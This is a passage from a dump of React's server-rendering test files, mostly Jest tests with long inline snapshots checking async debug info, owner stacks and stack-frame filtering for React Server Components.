{},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI, SEBBIE');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2527,\n                109,\n                2516,\n                58,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2527,\n                    109,\n                    2516,\n                    58,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2518,\n                  14,\n                  2517,\n                  5,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2524,\n                  20,\n                  2523,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2527,\n                  109,\n                  2516,\n                  58,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2518,\n                23,\n                2517,\n                5,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2524,\n                20,\n                2523,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track IO that is not awaited in user space', async () => {\n    function internal_API(text) {\n      return delay(1).then(async () => {\n        return text.toUpperCase();\n      });\n    }\n\n    async function Component({text, promise}) {\n      return await internal_API('hi, seb');\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        filterStackFrame,\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI, SEB');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2694,\n                40,\n                2682,\n                56,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2694,\n                    40,\n                    2682,\n                    56,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2690,\n                  20,\n                  2689,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"HI, SEB\",\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2694,\n                  40,\n                  2682,\n                  56,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2690,\n                20,\n                2689,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track IO in third-party code', async () => {\n    async function thirdParty(endpoint) {\n      return new Promise(resolve => {\n        setTimeout(() => {\n          resolve('third-party ' + endpoint);\n        }, 10);\n      }).then(async value => {\n        await new Promise(resolve => {\n          setTimeout(resolve, 10);\n        });\n\n        return value;\n      });\n    }\n\n    async function Component() {\n      const value = await thirdParty('hi');\n      return value;\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        filterStackFrame(filename, functionName) {\n          if (functionName === 'thirdParty') {\n            return false;\n          }\n          return filterStackFrame(filename, functionName);\n        },\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('third-party hi');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2883,\n                40,\n                2862,\n                42,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2883,\n                    40,\n                    2862,\n                    42,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2869,\n                  15,\n                  2868,\n                  15,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2878,\n                  19,\n                  2877,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2883,\n                  40,\n                  2862,\n                  42,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2869,\n                15,\n                2868,\n                15,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2878,\n                19,\n                2877,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"thirdParty\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2883,\n                    40,\n                    2862,\n                    42,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2878,\n                  25,\n                  2877,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"third-party hi\",\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2883,\n                  40,\n                  2862,\n                  42,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2878,\n                25,\n                2877,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track async file reads', async () => {\n    const filename = path.join(__dirname, 'test-file.txt');\n    async function Component() {\n      const buffer = await fs\n        .readFile(filename) // This loads a Buffer.\n        // TODO: For some reason, without this we're extracting the wrong promise.\n        .then(v => v);\n      const text = buffer.toString('utf8');\n      return text.slice(0, 26);\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      ReactServer.createElement(Component),\n      {},\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('Lorem ipsum dolor sit amet');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                3159,\n                19,\n                3147,\n                36,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"Object.readFile\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    3159,\n                    19,\n                    3147,\n                    36,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  3151,\n                  7,\n                  3149,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"status\": \"halted\",\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  3159,\n                  19,\n                  3147,\n                  36,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                3153,\n                7,\n                3149,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track a promise created fully outside first party code', async function internal_test() {\n    async function internal_API(text, timeout) {\n      let resolve;\n      const promise = new Promise(r => {\n        resolve = r;\n      });\n      promise.displayName = 'greeting';\n      setTimeout(() => resolve(text), timeout);\n      return promise;\n    }\n\n    async function Component({promise}) {\n      const result = await promise;\n      return result;\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component promise={internal_API('hello', 1)} />,\n      {},\n      {\n        filterStackFrame,\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('hello');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"greeting\",\n              \"start\": 0,\n              \"value\": {\n                \"status\": \"halted\",\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                3304,\n                20,\n                3303,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n        ]\n      `);\n    }\n  });\n\n  // Regression test: Database clients like Gel/EdgeDB with connection pools can\n  // create very long chains of async nodes linked via `previous` pointers.\n  // visitAsyncNode must handle chains of thousands of nodes without stack\n  // overflow.\n  //\n  // The pattern that creates deep chains (Event/messageWaiter):\n  // 1. Create a Promise resolved by an I/O callback\n  // 2. Start I/O, await the Promise\n  // 3. When I/O resolves, code continues in the callback context\n  // 4. The next iteration's async nodes link via `previous` to the current\n  //    context\n  it('handles deep linear async chains from connection pool patterns', async () => {\n    // Replicate Gel's Event class pattern, a Promise resolved externally by I/O\n    class Event {\n      constructor() {\n        this._resolve = null;\n        this._promise = new Promise(resolve => {\n          this._resolve = resolve;\n        });\n      }\n\n      wait() {\n        return this._promise;\n      }\n\n      set() {\n        this._resolve(true);\n      }\n    }\n\n    // Replicate Gel's _waitForMessage pattern:\n    // Each iteration creates an Event, schedules I/O to resolve it, and awaits.\n    // The next iteration runs in the context of the previous I/O callback,\n    // creating linear chains of previous pointers.\n    async function buildLinearChain(depth) {\n      for (let i = 0; i < depth; i++) {\n        const event = new Event();\n        // crypto.randomBytes uses the thread pool and is recognized as I/O\n        // (type='RANDOMBYTESREQUEST'). It's much faster than setTimeout.\n        crypto.randomBytes(1, () => event.set());\n        await event.wait();\n        // After this await resolves, we're in the crypto callback's context\n        // The next Event will be created in this context, linking prev pointers\n      }\n    }\n\n    async function Component() {\n      // Use 2000 iterations to ensure regression would be caught. Using\n      // crypto.randomBytes keeps the test fast.\n      await buildLinearChain(2000);\n      return 'done';\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        filterStackFrame: (filename, functionName) => {\n          // Custom filter that treats Event and buildLinearChain as library\n          // code. This simulates how real DB libraries like Gel/EdgeDB would be\n          // filtered.\n          if (\n            functionName === 'new Event' ||\n            functionName === 'buildLinearChain' ||\n            functionName === '_loop' // Generated name for the for-loop\n          ) {\n            return false;\n          }\n          return filterStackFrame(filename, functionName);\n        },\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    // This should not throw \"Maximum call stack size exceeded\"\n    expect(await result).toBe('done');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      // With library code filtered out, we should only see the Component's\n      // debug info, not thousands of entries from the internal\n      // Event/buildLinearChain operations.\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                3461,\n                40,\n                3418,\n                72,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"buildLinearChain\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    3461,\n                    40,\n                    3418,\n                    72,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  3456,\n                  13,\n                  3453,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  3461,\n                  40,\n                  3418,\n                  72,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                3456,\n                13,\n                3453,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('should not exponentially accumulate debug info on outlined debug chunks', async () => {\n    // Regression test: Each Level wraps its received `context` prop in a new\n    // object before passing it down. This creates props deduplication\n    // references to the parent's outlined chunk alongside the owner reference,\n    // giving 2 references per level to the direct parent's chunk. Without\n    // skipping transferReferencedDebugInfo during debug info resolution, this\n    // test would fail with an infinite loop detection error.\n    async function Level({depth, context}) {\n      await delay(0);\n      if (depth === 0) {\n        return <div>Hello, World!</div>;\n      }\n      const newContext = {prev: context, id: depth};\n      return ReactServer.createElement(Level, {\n        depth: depth - 1,\n        context: newContext,\n      });\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      ReactServer.createElement(Level, {depth: 20, context: {root: true}}),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    const resolved = await result;\n    expect(resolved.type).toBe('div');\n\n    await finishLoadingStream(readable);\n  });\n});\n"
  },
  {
    "path": "packages/react-server/src/__tests__/ReactFlightServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nif (typeof Blob === 'undefined') {\n  global.Blob = require('buffer').Blob;\n}\nif (typeof File === 'undefined' || typeof FormData === 'undefined') {\n  global.File = require('undici').File;\n  global.FormData = require('undici').FormData;\n}\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n      const dot = name.lastIndexOf('.');\n      if (dot !== -1) {\n        name = name.slice(dot + 1);\n      }\n      return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n    })\n  );\n}\n\nlet ReactServer;\nlet ReactNoopFlightServer;\nlet Scheduler;\nlet advanceTimersByTime;\nlet assertLog;\nlet assertConsoleErrorDev;\n\ndescribe('ReactFlight', () => {\n  beforeEach(() => {\n    // Mock performance.now for timing tests\n    let time = 0;\n    advanceTimersByTime = timeMS => {\n      time += timeMS;\n      jest.advanceTimersByTime(timeMS);\n    };\n    const now = jest.fn().mockImplementation(() => {\n      return time++;\n    });\n    Object.defineProperty(performance, 'timeOrigin', {\n      value: time,\n      configurable: true,\n    });\n    Object.defineProperty(performance, 'now', {\n      value: now,\n      configurable: true,\n    });\n\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n    Scheduler = require('scheduler');\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  // @gate __DEV__\n  it('resets the owner stack limit periodically', async () => {\n    function App({siblingsBeforeStackOne, timeout}) {\n      const children = [];\n      for (\n        let i = 0;\n        i <\n        siblingsBeforeStackOne -\n          // <App /> callsite\n          1 -\n          // Stop so that OwnerStackOne will be right before cutoff\n          1;\n        i++\n      ) {\n        children.push(ReactServer.createElement(Component, {key: i}));\n      }\n      children.push(\n        ReactServer.createElement(OwnerStackOne, {key: 'stackOne'}),\n      );\n      children.push(\n        ReactServer.createElement(OwnerStackDelayed, {\n          key: 'stackTwo',\n          timeout,\n        }),\n      );\n\n      return children;\n    }\n\n    function Component() {\n      return null;\n    }\n\n    let stackOne;\n    function OwnerStackOne() {\n      Scheduler.log('render OwnerStackOne');\n      stackOne = ReactServer.captureOwnerStack();\n    }\n\n    let stackTwo;\n    function OwnerStackTwo() {\n      Scheduler.log('render OwnerStackTwo');\n      stackTwo = ReactServer.captureOwnerStack();\n    }\n    function OwnerStackDelayed({timeout}) {\n      Scheduler.log('render OwnerStackDelayed');\n\n      // Owner Stacks start fresh after `await`.\n      // We need to sync delay to observe the reset limit behavior.\n      // TODO: Is that the right behavior? If you do stack + Ownst Stack you'd get `OwnerStackTwo` twice.\n      jest.advanceTimersByTime(timeout);\n\n      return ReactServer.createElement(OwnerStackTwo, {});\n    }\n\n    ReactNoopFlightServer.render(\n      ReactServer.createElement(App, {\n        key: 'one',\n        // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff\n        siblingsBeforeStackOne: 500,\n        // Must be greater or equal then the reset interval\n        timeout: 1000,\n      }),\n    );\n\n    assertLog([\n      'render OwnerStackOne',\n      'render OwnerStackDelayed',\n      'render OwnerStackTwo',\n    ]);\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: __VARIANT__\n        ? // Didn't advance timers yet to reset\n          '\\n    in UnknownOwner (at **)' + '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in OwnerStackDelayed (at **)' + '\\n    in App (at **)',\n    });\n\n    // Ensure we reset the limit after the timeout\n    advanceTimersByTime(1000);\n    ReactNoopFlightServer.render(\n      ReactServer.createElement(App, {\n        key: 'two',\n        siblingsBeforeStackOne: 0,\n        timeout: 0,\n      }),\n    );\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: '\\n    in OwnerStackDelayed (at **)' + '\\n    in App (at **)',\n    });\n  });\n\n  it('logs an error when prod elements are rendered', async () => {\n    const element = ReactServer.createElement('span', {\n      key: 'one',\n      children: 'Free!',\n    });\n    ReactNoopFlightServer.render(\n      // bad clone\n      {...element},\n    );\n\n    assertConsoleErrorDev([\n      'Attempted to render <span key=\"one\"> without development properties. This is not supported. It can happen if:' +\n        '\\n- The element is created with a production version of React but rendered in development.' +\n        '\\n- The element was cloned with a custom function instead of `React.cloneElement`.\\n' +\n        \"The props of this element may help locate this element: { children: 'Free!', [key]: [Getter] }\",\n      \"TypeError: Cannot read properties of undefined (reading 'stack')\" +\n        '\\n    in <stack>',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-server/src/__tests__/ReactServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\nimport {AsyncLocalStorage} from 'node:async_hooks';\n\nlet act;\nlet React;\nlet ReactNoopServer;\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n      const dot = name.lastIndexOf('.');\n      if (dot !== -1) {\n        name = name.slice(dot + 1);\n      }\n      return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n    })\n  );\n}\n\n/**\n * Removes all stackframes not pointing into this file\n */\nfunction ignoreListStack(str) {\n  if (!str) {\n    return str;\n  }\n\n  let ignoreListedStack = '';\n  const lines = str.split('\\n');\n\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const line of lines) {\n    if (line.indexOf(__filename) === -1) {\n    } else {\n      ignoreListedStack += '\\n' + line.replace(__dirname, '.');\n    }\n  }\n\n  return ignoreListedStack;\n}\n\nconst currentTask = new AsyncLocalStorage({defaultValue: null});\n\ndescribe('ReactServer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    console.createTask = jest.fn(taskName => {\n      return {\n        run: taskFn => {\n          const parentTask = currentTask.getStore() || '';\n          return currentTask.run(parentTask + '\\n' + taskName, taskFn);\n        },\n      };\n    });\n\n    act = require('internal-test-utils').act;\n    React = require('react');\n    ReactNoopServer = require('react-noop-renderer/server');\n  });\n\n  function div(...children) {\n    children = children.map(c =>\n      typeof 